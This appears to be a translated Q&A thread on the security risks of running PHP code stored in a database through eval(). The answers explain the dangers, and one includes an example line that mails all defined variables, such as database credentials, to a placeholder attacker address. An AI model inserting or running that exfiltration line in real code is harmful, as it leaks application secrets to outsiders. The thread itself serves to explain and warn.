我已经构建了一个程序,用于存储,检索和eval()s
来自SQLite数据库的代码。
在我遇到糟糕的编码习惯之前,让我们将其视为理论和假装,我有充分理由这样做。
除了所有其他注意事项,并假设用户输入不是一个因素,将PHP代码存储在数据库中并使用eval()
运行它时,是否存在安全风险?
澄清:
eval()ing
用户提交的内容。答案 0 :(得分:5)
eval()本身并不安全。这只是不好的做法,不清楚,并为一大堆错误和安全相关问题打开了。
答案 1 :(得分:1)
即使用户提交的数据没有存储在您的数据库中,您仍然提供了一种方法,即使您没有将该代码放在那里,也可以执行存储在数据库中的代码。如果有人要访问您的数据库服务器,他们可能会做的更糟糕的事情是通过修改它存储的代码来删除数据库,比如删除PHP脚本具有写访问权限的任何文件。
答案 2 :(得分:0)
是。如果我可以向您的数据库注入一些内容,那么我可以通过eval在您的服务器上执行它。
答案 3 :(得分:0)
您是否尝试将数据库用作函数的哈希表?因此,您可以根据某些关键评估调用一段代码。我在这里看到的安全问题是数据库可能在其他地方暴露了其他API以填充它。在您不知道/明确地执行它的情况下,可能会在数据库中引入一些键值对。如果你使用了函数的哈希表,那么有人需要在代码库中进行提交以更改函数。所以现在你需要保护数据库和代码的存储库一样好。
答案 4 :(得分:0)
你让数据库运行它想要的任何PHP代码,就像运行PHP的用户一样。当然这是不安全的。
答案 5 :(得分:0)
eval()
本身并不安全。但只有在评估的代码是安全的时候它才是安全的。因此,我们可以提出一个代码执行不好的示例,假设代码存储在您的数据库中的某种方式,以及 boom 。
存储在别处的代码不是项目的一部分,不是代码审查,不是在git中跟踪,也不是单元测试。代码基本上没有从安全角度进行评估,因此无法保证安全性。换句话说,从质量保证的角度来看,它是一个质量较差的计划,因为代码安全性是代码质量的一部分。
任何有权访问您数据库的人都可以修改代码,然后执行该代码,我假设没有任何审查。代码没有访问限制;它可以引用甚至修改调用它的应用程序中的变量。所以问题是你的数据库中的代码是如何改变的?谁有权访问?什么是代码审查流程?什么是测试过程?
除了可以非法地更改数据库中的PHP代码的SQL注入之外,还有用户在对代码进行授权更改之前使用的任何身份验证的安全性。我想你的应用程序有一些界面可以通过Web界面更改数据库中的代码。
您要求提供证据,我猜您想要一个代码示例,如果对其进行评估,可能会做坏事。
如果我可以安排将类似下列代码存储在您的数据库中,并eval()
该代码,我可以获得有关您的应用程序的大量信息。例如。您的数据库密码,您的身份验证方法,您使用的框架的版本......各种各样的东西。
mail('attacker@example.com', 'Mwa ha ha', print_r(get_defined_vars(), true));
也有像get_defined_functions()
这样的类似功能。甚至可以使用open(__FILE__)
返回自己的源代码。攻击者可以快速了解代码中存在其他可利用安全漏洞的位置。
然后,PHP代码可以通过各种方式获取有关您的服务器的信息,或者对您的服务器进行更改。将eval()
与使用exec()
的代码组合,您可以在服务器上运行任何命令。至少它在http服务器运行的uid下运行 - 我希望它不是root。